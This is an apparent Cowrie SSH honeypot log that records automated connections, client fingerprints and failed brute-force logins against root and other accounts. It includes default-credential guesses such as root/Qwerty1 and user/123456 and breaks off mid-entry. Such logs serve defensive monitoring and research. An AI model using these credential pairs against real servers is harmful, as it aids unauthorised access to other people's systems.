{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":44176,"dst_ip":"159.203.135.109","dst_port":22,"session":"86a13cff02e7","protocol":"ssh","message":"New connection: 172.237.20.62:44176 (159.203.135.109:22) [session: 86a13cff02e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:43:32.247385Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:43:32.252380Z","src_ip":"172.237.20.62","session":"86a13cff02e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:43:32.421536Z","src_ip":"172.237.20.62","session":"86a13cff02e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rock","password":"rock","message":"login attempt [rock/rock] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:43:32.911784Z","src_ip":"172.237.20.62","session":"86a13cff02e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":57986,"dst_ip":"159.203.135.109","dst_port":22,"session":"36591eb508b9","protocol":"ssh","message":"New connection: 176.65.132.129:57986 (159.203.135.109:22) [session: 36591eb508b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:43:33.975166Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:43:33.979070Z","src_ip":"176.65.132.129","session":"36591eb508b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:43:34.065769Z","src_ip":"176.65.132.129","session":"36591eb508b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:43:34.076435Z","src_ip":"172.237.20.62","session":"86a13cff02e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwerty1","message":"login attempt [root/Qwerty1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:43:34.547113Z","src_ip":"176.65.132.129","session":"36591eb508b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.93.102.236","src_port":41178,"dst_ip":"10.17.0.5","dst_port":22,"session":"625f62253b55","protocol":"ssh","message":"New connection: 172.93.102.236:41178 (10.17.0.5:22) [session: 625f62253b55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:43:34.894324Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:43:34.899407Z","src_ip":"172.93.102.236","session":"625f62253b55","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:43:34.907001Z","src_ip":"172.93.102.236","session":"625f62253b55","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"39:d6:5d:dc:30:74:d8:68:88:9a:f5:57:da:ec:cb:57","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDrTDiTy1lisSqwiIY/+AU/Gd4paydZRTb7CoXTTppVcowGAGT85M8f+2p1S9D6suf8stMTUTuHz69pSOPD1wkEOrCwqRAUzUYLyBVevLqwZ8jgDBbdBWT+e7KTako4sIAZrendxGdZ93YbtoXzorIQ1pvdxbyIt1WPzPRoiMs805VcWSu/0/wblmP+m4+FsOJ8+Ou/pmR+mtO6Z0ZDHWslKIM5xpBCThPKGWhXqQv3X1PbMKU/4qG1I6EfglL77ThgrPA6rl5rbSUjZ1GAM0fXnB1AJA9NtvbIuSbwfUfu9xsNyhpg25ej+0/HOM52tc02EPtFrRafsrKLUEi6WChH","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 39:d6:5d:dc:30:74:d8:68:88:9a:f5:57:da:ec:cb:57","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:43:34.926490Z","src_ip":"172.93.102.236","session":"625f62253b55","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"39:d6:5d:dc:30:74:d8:68:88:9a:f5:57:da:ec:cb:57","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDrTDiTy1lisSqwiIY/+AU/Gd4paydZRTb7CoXTTppVcowGAGT85M8f+2p1S9D6suf8stMTUTuHz69pSOPD1wkEOrCwqRAUzUYLyBVevLqwZ8jgDBbdBWT+e7KTako4sIAZrendxGdZ93YbtoXzorIQ1pvdxbyIt1WPzPRoiMs805VcWSu/0/wblmP+m4+FsOJ8+Ou/pmR+mtO6Z0ZDHWslKIM5xpBCThPKGWhXqQv3X1PbMKU/4qG1I6EfglL77ThgrPA6rl5rbSUjZ1GAM0fXnB1AJA9NtvbIuSbwfUfu9xsNyhpg25ej+0/HOM52tc02EPtFrRafsrKLUEi6WChH","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:43:34.931426Z","src_ip":"172.93.102.236","session":"625f62253b55","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"65:5c:ef:94:78:1d:7f:f9:33:19:a7:f3:df:eb:f7:66","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDX2IrlbFW+y76RkMLl71tXFodxTIr3HMhjnJ+q7xi3jMCun6uxrvjtGv3VQWqx+6gYxuzToyXEwd2XiiAyVRZECUa1hq9dBnpAe3/I5DTqFV6CWCdUYf4xujdbEIpc1zkSKt6vhxLRSHC/6Ss0sRcb9gPvyo/dtOqGwYA3OixkhZHuqhNoi7+sQINn0G3pUsy2HLIrn9gw9mzMORlH8t9b5BCHTrcxn2H5qwvewn0uSZkStnQZF/5COJtvBio3Rpnp97YmRyjOSF7h1uzA8VTIZAy0MCe8UwQyCA7POPu2siPw3NmbMHZYLI/4SDlhGaB7AqdGe6emnnpRK8mw/KBN","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 65:5c:ef:94:78:1d:7f:f9:33:19:a7:f3:df:eb:f7:66","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:43:34.943362Z","src_ip":"172.93.102.236","session":"625f62253b55","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"65:5c:ef:94:78:1d:7f:f9:33:19:a7:f3:df:eb:f7:66","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDX2IrlbFW+y76RkMLl71tXFodxTIr3HMhjnJ+q7xi3jMCun6uxrvjtGv3VQWqx+6gYxuzToyXEwd2XiiAyVRZECUa1hq9dBnpAe3/I5DTqFV6CWCdUYf4xujdbEIpc1zkSKt6vhxLRSHC/6Ss0sRcb9gPvyo/dtOqGwYA3OixkhZHuqhNoi7+sQINn0G3pUsy2HLIrn9gw9mzMORlH8t9b5BCHTrcxn2H5qwvewn0uSZkStnQZF/5COJtvBio3Rpnp97YmRyjOSF7h1uzA8VTIZAy0MCe8UwQyCA7POPu2siPw3NmbMHZYLI/4SDlhGaB7AqdGe6emnnpRK8mw/KBN","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:43:34.947725Z","src_ip":"172.93.102.236","session":"625f62253b55","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"94:50:ca:4f:2e:ad:4e:2a:d4:04:7e:0b:14:63:6d:cb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDTfB/EpiV+Gc58G3WXxHjGlbAYK1as0bNkwMFwq0lLD2PTqWDwixjKtzytNAZiTW0jGXUyWj2k4C7wE7YmtRoCsUDFm9ebOo1WP242crBT2VfkbembrNJYUX9NTlbfGmN0pqsdeirC0mKscLmOXSkMxFG0U7ZbQgyGCv1Hwg9ju7wpazjWtI1GABW+eNmKzRSuFDFbmXZPmilwd68V6lz1izcqrZII7PKAizNXU4NtP3RoePyfwivT5m36n6EoXtTeONmjI6b9C13UQNmiSbFZRDh89WWHjgwF536JnDMXxhJRjZ4rEMmjYQIGIDHAPYq62yI71x8HtKbvUv0ZD1u5","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 94:50:ca:4f:2e:ad:4e:2a:d4:04:7e:0b:14:63:6d:cb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:43:34.956965Z","src_ip":"172.93.102.236","session":"625f62253b55","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"94:50:ca:4f:2e:ad:4e:2a:d4:04:7e:0b:14:63:6d:cb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDTfB/EpiV+Gc58G3WXxHjGlbAYK1as0bNkwMFwq0lLD2PTqWDwixjKtzytNAZiTW0jGXUyWj2k4C7wE7YmtRoCsUDFm9ebOo1WP242crBT2VfkbembrNJYUX9NTlbfGmN0pqsdeirC0mKscLmOXSkMxFG0U7ZbQgyGCv1Hwg9ju7wpazjWtI1GABW+eNmKzRSuFDFbmXZPmilwd68V6lz1izcqrZII7PKAizNXU4NtP3RoePyfwivT5m36n6EoXtTeONmjI6b9C13UQNmiSbFZRDh89WWHjgwF536JnDMXxhJRjZ4rEMmjYQIGIDHAPYq62yI71x8HtKbvUv0ZD1u5","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:43:34.961472Z","src_ip":"172.93.102.236","session":"625f62253b55","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"52:aa:38:43:4a:b7:d4:71:f4:a3:62:98:c8:45:d9:00","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAO5La3cS3475OH2m/viWWFmYfoXdQPu2+wY9v8MW84IENUXdJ1C7VzEj//NQblHpJuchJTcMgMFqm9UMDVhIM/yELohfCjaVCwT6IyXq29sAyzT9omo03jfbcx/7OeBqLfEgQgQzd8bRcwLSX9jTvrioVRJB5llLJsY81cNxsR3zAAAAFQCICo4zT0tX4goafWDv28taZoUbJQAAAIApvpDua6Clm3fpB/mOtfzkn4mYgo0hcXmC4VcFyXKaovjMipGItWfiQmjo4rmbuqpKgeAQFNb5mdKD0PD0aZhCvqDb/qKVOmqW+EQvtN0kS29NHqNi8n5YbsiPPYwpWFIM9adu0YpQrst1tpXg9e0x7riPjCmE63o6nJ1LjMRMhQAAAIEAxvOIJldLBgFs+t9oCUvdX2+0YmJSqybU1dW050/QjkQKqMTT0L0j4st6lJB0rkv08sqs9l62xtfvB8J5C7fbxEXQZXwMP03KfFY2PqOaUtVsdqCBgI77ex/8aB36YOI81O4T/iTn94NqfPg08AzOPKu1vGoaq4s17ukXzvECWHE=","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 52:aa:38:43:4a:b7:d4:71:f4:a3:62:98:c8:45:d9:00","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:43:34.972459Z","src_ip":"172.93.102.236","session":"625f62253b55","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"52:aa:38:43:4a:b7:d4:71:f4:a3:62:98:c8:45:d9:00","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAO5La3cS3475OH2m/viWWFmYfoXdQPu2+wY9v8MW84IENUXdJ1C7VzEj//NQblHpJuchJTcMgMFqm9UMDVhIM/yELohfCjaVCwT6IyXq29sAyzT9omo03jfbcx/7OeBqLfEgQgQzd8bRcwLSX9jTvrioVRJB5llLJsY81cNxsR3zAAAAFQCICo4zT0tX4goafWDv28taZoUbJQAAAIApvpDua6Clm3fpB/mOtfzkn4mYgo0hcXmC4VcFyXKaovjMipGItWfiQmjo4rmbuqpKgeAQFNb5mdKD0PD0aZhCvqDb/qKVOmqW+EQvtN0kS29NHqNi8n5YbsiPPYwpWFIM9adu0YpQrst1tpXg9e0x7riPjCmE63o6nJ1LjMRMhQAAAIEAxvOIJldLBgFs+t9oCUvdX2+0YmJSqybU1dW050/QjkQKqMTT0L0j4st6lJB0rkv08sqs9l62xtfvB8J5C7fbxEXQZXwMP03KfFY2PqOaUtVsdqCBgI77ex/8aB36YOI81O4T/iTn94NqfPg08AzOPKu1vGoaq4s17ukXzvECWHE=","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:43:34.976955Z","src_ip":"172.93.102.236","session":"625f62253b55","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"02:63:89:ba:aa:6a:a1:a9:ca:42:18:91:0a:57:d2:2f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCZqFJyeQlSmgp1TzDwCOilfwbYJNtQl5vGxnttew5QC24/3nwRwaY/4JtAylpDwKih+A4chsOw3BDtWkLZscpFsEgmC6hhnHkjxKTXo00/uVz8mpxu5TayD+gC6zrflIsD1gWN29UW7xSo7Jrk4U/qGJsW+vIzAySsdz7NoyBAxazD5VtQGnr1DhlZvlfe2380XAshEoN9epDRjK7xd3Ysu5MKSWu9KpdWg6RI6qBo/dRAuxL3rcSZmNMCNmAz/cysD5tDV/8IQuR60BXo58XNdpvbVEQCCHnTf2p789na/DbGhMTPPZXyjktLrOOyfUtffH7MZ50YQzLNwe+F8V6VAhYNbXTeUZN5HhpJB3MnqZOVeHIKVzW1dMIkCoA7QP3BICyX5zBNhe3af52c5VTBOrK9gzd8ehDVGzzAWOTR5tL3zsXY2LS8gTACSyUg1llhVzhlsaJy2c+IOntg7bThX+HoZF2/YqibHoP2C0eipxCiQHlIhlKlvA9hWeQXInqIxc8dp2n3fgHPbpBHE8NmdQfpHRAhRqfJzYKvKMKvf2wxDmHBci6EcHJL7c8dWwefW2wkBUraz1P7OZjpJEOdfwtRSG/7IJRR7wB+0MDDu7n4reB8C988Un5ZfuZBTuH93kLlLcz69hGTCPp7C1GGhakYCopxq/TbPGbnPa5l9w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 02:63:89:ba:aa:6a:a1:a9:ca:42:18:91:0a:57:d2:2f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:43:34.987907Z","src_ip":"172.93.102.236","session":"625f62253b55","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"02:63:89:ba:aa:6a:a1:a9:ca:42:18:91:0a:57:d2:2f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCZqFJyeQlSmgp1TzDwCOilfwbYJNtQl5vGxnttew5QC24/3nwRwaY/4JtAylpDwKih+A4chsOw3BDtWkLZscpFsEgmC6hhnHkjxKTXo00/uVz8mpxu5TayD+gC6zrflIsD1gWN29UW7xSo7Jrk4U/qGJsW+vIzAySsdz7NoyBAxazD5VtQGnr1DhlZvlfe2380XAshEoN9epDRjK7xd3Ysu5MKSWu9KpdWg6RI6qBo/dRAuxL3rcSZmNMCNmAz/cysD5tDV/8IQuR60BXo58XNdpvbVEQCCHnTf2p789na/DbGhMTPPZXyjktLrOOyfUtffH7MZ50YQzLNwe+F8V6VAhYNbXTeUZN5HhpJB3MnqZOVeHIKVzW1dMIkCoA7QP3BICyX5zBNhe3af52c5VTBOrK9gzd8ehDVGzzAWOTR5tL3zsXY2LS8gTACSyUg1llhVzhlsaJy2c+IOntg7bThX+HoZF2/YqibHoP2C0eipxCiQHlIhlKlvA9hWeQXInqIxc8dp2n3fgHPbpBHE8NmdQfpHRAhRqfJzYKvKMKvf2wxDmHBci6EcHJL7c8dWwefW2wkBUraz1P7OZjpJEOdfwtRSG/7IJRR7wB+0MDDu7n4reB8C988Un5ZfuZBTuH93kLlLcz69hGTCPp7C1GGhakYCopxq/TbPGbnPa5l9w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:43:34.991185Z","src_ip":"172.93.102.236","session":"625f62253b55","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:43:35.000190Z","src_ip":"172.93.102.236","session":"625f62253b55","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:43:35.633277Z","src_ip":"176.65.132.129","session":"36591eb508b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":53050,"dst_ip":"159.203.135.109","dst_port":22,"session":"f5fa318b6b69","protocol":"ssh","message":"New connection: 176.65.132.129:53050 (159.203.135.109:22) [session: f5fa318b6b69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:43:37.585937Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:43:37.591029Z","src_ip":"176.65.132.129","session":"f5fa318b6b69","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:43:37.672933Z","src_ip":"176.65.132.129","session":"f5fa318b6b69","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"123456","message":"login attempt [user/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:43:37.917188Z","src_ip":"176.65.132.129","session":"f5fa318b6b69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:43:39.001294Z","src_ip":"176.65.132.129","session":"f5fa318b6b69","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":53058,"dst_ip":"159.203.135.109","dst_port":22,"session":"5a427743cab6","protocol":"ssh","message":"New connection: 176.65.132.129:53058 (159.203.135.109:22) [session: 5a427743cab6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:43:40.904401Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:43:40.907801Z","src_ip":"176.65.132.129","session":"5a427743cab6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh